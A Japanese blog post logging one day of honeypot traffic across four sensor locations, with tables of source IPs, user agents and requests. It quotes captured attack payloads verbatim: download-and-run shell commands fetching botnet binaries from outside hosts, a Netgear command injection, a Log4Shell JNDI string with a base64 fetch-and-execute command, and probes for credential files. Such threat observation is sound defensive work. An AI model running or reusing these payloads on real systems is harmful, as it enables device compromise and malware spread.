2022/09/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/09/11分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
/.envへのスキャン行為

Location:JP

D-link製品の脆弱性を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
aiohttpによるスキャン行為
/.gitへのスキャン行為
WordPressへのスキャン行為
phpMyAdminへのスキャン行為
188.214.133.112に関する不正通信

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  31.192.107.237/reaper/reap.arm4;
chmod 777 /tmp/reap.arm4;
sh /tmp/reap.arm4

Location:US

Spring Bootの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為
188.214.133.112に関する不正通信
5.254.17.35に関する不正通信
UserAgentがHello, Worldであるアクセス
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget chdestruction.cf/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
phpMyAdminへのスキャン行為

を確認しました。

Location:SG

Apache Log4j2の脆弱性(CVE-2021-44228)を狙うアクセス
F5 BIG-IP製品の脆弱性(CVE-2022-1388)を狙うアクセス
/.gitへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 103.107.8.113/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget 81.161.229.46/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：82 (前日比：-16)
US：総アクセス数：180 (前日比：126)
UK：総アクセス数：71 (前日比：-105)
SG：総アクセス数：53 (前日比：-148)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
10	5.254.17.125	United Kingdom
1	18.216.3.117	United States
1	20.109.126.233	United States
3	20.199.112.12	United States
1	20.216.184.192	United States
2	23.225.180.204	United States
2	43.138.16.192	China
1	45.164.20.158	Mexico
1	54.226.208.101	United States
1	59.58.117.25	China
18	85.202.168.47	Netherlands
1	92.118.39.30	Romania
4	94.102.49.193	United Kingdom
1	95.214.235.205	Ukraine
1	112.93.169.146	China
3	112.95.154.5	China
1	117.222.164.226	India
2	118.126.82.157	China
9	135.125.244.48	France
9	135.125.246.189	France
1	147.135.1.175	United States
1	161.35.213.88	United States
1	172.104.138.223	United States
2	172.104.242.173	United States
1	181.214.206.161	United States
1	185.196.220.81	Netherlands
1	192.241.213.90	United States
1	198.235.24.130	United States
1	201.150.175.64	Bolivia

UserAgent一覧

件数	UserAgent
29	`-`
3	`Go-http-client/1.1`
3	`Java/1.8.0_341`
1	`MMozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
18	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1500.55 Safari/537.36`
19	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36`
1	`Python/3.7 aiohttp/3.7.4.post0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01`
10	CONNECT	`188[.]214[.]133[.]112:4444`	HTTP/1.1
1	CONNECT	`apiv3[.]filmin[.]es:443`	HTTP/1.1
1	CONNECT	`ios.prod[.]http1[.]netflix[.]com:443`	HTTP/1.1
1	CONNECT	`oauth[.]api[.]hbo[.]com:443`	HTTP/1.1
22	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.well-known/security.txt`	HTTP/1.1
2	GET	`/0bef`	HTTP/1.0
1	GET	`/2018/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/2019/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/blog/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
1	GET	`/cms/wp-includes/wlwmanifest.xml`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/media/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/news/wp-includes/wlwmanifest.xml`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 31.192.107.237/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4`
1	GET	`/shop/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/site/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/sito/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/test/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/web/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/website/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wordpress/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp1/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/wp2/wp-includes/wlwmanifest.xml`	HTTP/1.1
1	GET	`/xmlrpc.php?rsd`	HTTP/1.1
2	GET	`http[:]//18[.]179[.]20[.]5:80/mysql/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//18[.]179[.]20[.]5:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
3	GET	`http[:]//18[.]179[.]20[.]5:80/pma/scripts/setup.php`	HTTP/1.0
1	GET	`http[:]//example[.]com/`	HTTP/1.1
1	OPTIONS	`/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
18	5.254.26.145	United Kingdom
1	13.233.174.29	United States
1	18.216.3.117	United States
4	27.124.32.173	Singapore
1	45.83.65.199	Germany
2	45.227.254.26	Belize
2	45.227.254.54	Belize
1	51.12.51.42	United Kingdom
2	52.180.152.13	United States
25	54.37.79.75	France
4	94.102.49.193	United Kingdom
2	107.175.70.147	United States
1	117.212.165.136	India
3	152.89.196.211	Russia
2	162.142.125.211	United States
2	167.94.138.60	United States
2	167.248.133.62	United States
1	172.104.242.173	United States
41	178.128.57.86	United States
38	179.43.145.98	Panama
1	184.105.247.208	United States
4	185.142.236.40	Seychelles
2	185.196.220.81	Netherlands
10	185.254.196.223	Ukraine
1	192.241.211.69	United States
1	192.241.216.39	United States
1	192.241.220.139	United States
1	198.8.77.109	United States
1	198.235.24.135	United States
1	205.210.31.161	United States
3	222.186.19.235	China
1	223.149.7.213	China

UserAgent一覧

件数	UserAgent
78	`-`
7	`Go-http-client/1.1`
1	`Hello, World`
1	`Hello, world`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
40	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5`
1	`Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36`
38	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0`
2	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.18.4`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`?`
1		`MGLNDD_34.68.118.83_80\n`
1		`WHOAREYOU?\n`
2		`\n`
5		`\x03`
1		`\x05`
1		`\x124\x02\x0e\x02\x02`
1		`\x16\x03\x01\x02`
6		`\x16\x03\x01`
1		`a\n`
1		`envi`
1		`info`
1		`stats`
14	CONNECT	`188[.]214[.]133[.]112:4444`	HTTP/1.1
4	CONNECT	`5[.]254[.]17[.]35:4444`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.aws/credentials`	HTTP/1.1
2	GET	`/.env.bak`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
39	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
2	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/0bef`	HTTP/1.0
1	GET	`/83.118.68.34.bc.googleusercontent.com/.env`	HTTP/1.1
1	GET	`/83.118.68.34.bc.googleusercontent.com/api/.env`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/backend/.env`	HTTP/1.1
1	GET	`/base/.env`	HTTP/1.1
1	GET	`/blog/.env`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/config/.env`	HTTP/1.1
1	GET	`/console/`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/crm/.env`	HTTP/1.1
1	GET	`/database/.env`	HTTP/1.1
1	GET	`/demo/.env`	HTTP/1.1
1	GET	`/dev/.env`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/new/.env`	HTTP/1.1
1	GET	`/newsite/.env`	HTTP/1.1
1	GET	`/old/.env`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/phpinfo`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/prod/.env`	HTTP/1.1
1	GET	`/production/.env`	HTTP/1.1
1	GET	`/protected/.env`	HTTP/1.1
1	GET	`/public/.env`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+chdestruction[.]cf/jaws;sh+/tmp/jaws`	HTTP/1.1
3	GET	`/sitemap.xml`	HTTP/1.1
1	GET	`/src/.env`	HTTP/1.1
1	GET	`/storage/.env`	HTTP/1.1
1	GET	`/vendor/.env`	HTTP/1.1
1	GET	`/web/.env`	HTTP/1.1
1	GET	`/website/.env`	HTTP/1.1
1	GET	`/www/.env`	HTTP/1.1
1	GET	`a/etc/passwd\n`
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	POST	`/Autodiscover/Autodiscover.xml`	HTTP/1.1
1	POST	`/GponForm/diag_Form?images/`	HTTP/1.1
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
3	PRI	`*`	HTTP/2.0
7	USER	`admin`
3	USER	`anonymous`
7	USER	`root`
2	ehlo	`checktls\n`
1	eval	`'local io_l`
1	helo	`target`
1	site	`cpfr /proc/self/cmdline`
3	t3	`12.2.1\n`

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.116.6.211	China
1	20.171.11.9	United States
1	20.171.51.104	United States
1	20.171.51.119	United States
4	23.224.186.218	United States
1	36.110.211.66	China
1	36.110.214.195	China
4	42.192.144.2	China
1	45.72.85.224	Canada
1	45.85.190.64	Netherlands
2	78.142.18.92	Bulgaria
2	92.118.39.30	Romania
4	94.102.49.193	United Kingdom
4	101.33.247.52	China
4	101.43.6.46	China
1	106.75.100.66	China
1	111.92.119.214	India
1	112.248.110.0	China
1	115.55.152.152	China
1	157.245.66.31	United States
1	172.104.138.223	United States
1	182.113.11.172	China
4	182.254.225.35	China
1	184.105.247.210	United States
4	185.163.109.66	Romania
2	185.196.220.81	Netherlands
1	185.220.101.171	Germany
8	185.254.196.223	Ukraine
1	192.241.209.22	United States
2	194.165.16.11	Panama
4	203.76.241.10	China
1	205.210.31.30	United States
1	208.67.105.124	United States
3	222.186.19.235	China

UserAgent一覧

件数	UserAgent
37	`-`
7	`Go-http-client/1.1`
1	`Java/1.8.0_212`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
2	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3`
10	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Wget/1.21`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_132.145.66.34_80\n`
2		`\x03`
3		`\x16\x03\x01`
2	CONNECT	`google[.]com:443`	HTTP/1.1
12	GET	`/.env`	HTTP/1.1
2	GET	`/.well-known/security.txt`	HTTP/1.1
1	GET	`/api.json`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=admin&psd=admin`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fuN3`	HTTP/1.0
1	GET	`/mysql/scripts/setup.php`	HTTP/1.1
1	GET	`/phpMyAdmin/scripts/setup.php`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//115[.]55[.]152[.]152:49113/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
3	GET	`/sitemap.xml`	HTTP/1.1
6	GET	`http[:]//132[.]145[.]66[.]34:80/db/scripts/setup.php`	HTTP/1.0
5	GET	`http[:]//132[.]145[.]66[.]34:80/mysql/scripts/setup.php`	HTTP/1.0
5	GET	`http[:]//132[.]145[.]66[.]34:80/phpMyAdmin/scripts/setup.php`	HTTP/1.0
5	GET	`http[:]//132[.]145[.]66[.]34:80/pma/scripts/setup.php`	HTTP/1.0
2	GET	`http[:]//example[.]com/`	HTTP/1.1
2	GET	`http[:]//fuwu[.]sogou[.]com/404/index.html`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	18.216.3.117	United States
1	45.83.67.124	Germany
2	45.227.254.54	Belize
1	51.13.183.176	United Kingdom
4	51.79.29.48	Canada
13	54.37.79.75	France
1	78.142.18.92	Bulgaria
1	92.118.39.30	Romania
1	92.255.85.183	Hong Kong
1	106.52.121.158	China
1	138.197.149.174	United States
1	156.211.208.79	Egypt
2	162.142.125.213	United States
2	167.248.133.62	United States
2	172.104.242.173	United States
1	179.153.7.166	Brazil
1	183.136.225.35	China
1	184.105.247.244	United States
2	185.196.220.81	Netherlands
8	185.254.196.223	Ukraine
1	192.241.212.172	United States
2	194.165.16.78	Panama
1	198.98.59.132	United States
1	205.210.31.10	United States
1	205.210.31.51	United States

UserAgent一覧

件数	UserAgent
12	`-`
4	`Go-http-client/1.1`
2	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre`
25	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	t('${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//138[.]197[.]149[.]174:1389/TomcatBypass/Command/Base64/Y2QgL3RtcCB8fCBjZCAvdmFyL3J1biB8fCBjZCAvbW50IHx8IGNkIC9yb290IHx8IGNkIC87IGN1cmwgaHR0cDovLzEzNS4xNDguNTguMjMxOjE5ODAvYWt0dWFsaXNpZXJlbi5zaCAtbyBha3R1YWxpc2llcmVuLnNoOyB3Z2V0IGh0dHA6Ly8xMzUuMTQ4LjU4LjIzMToxOTgwL2FrdHVhbGlzaWVyZW4uc2g7IGNobW9kIDc3NyBha3R1YWxpc2llcmVuLnNoOyBzaCBha3R1YWxpc2llcmVuLnNoOyBybSAtcmYgYWt0dWFsaXNpZXJlbi5zaDsgcm0gLXJmIGFrdHVhbGlzaWVyZW4uc2guMQ==}')

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_13.67.44.234_80`
5		`\x03`
2		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
26	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
2	GET	`/0bef`	HTTP/1.0
1	GET	`/?id=`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+103[.]107[.]8[.]113/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+81[.]161[.]229[.]46/jaws;sh+/tmp/jaws`	HTTP/1.1
1	GET	`http[:]//example[.]com/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/mgmt/tm/util/bash`	HTTP/1.1
2	PRI	`*`	HTTP/2.0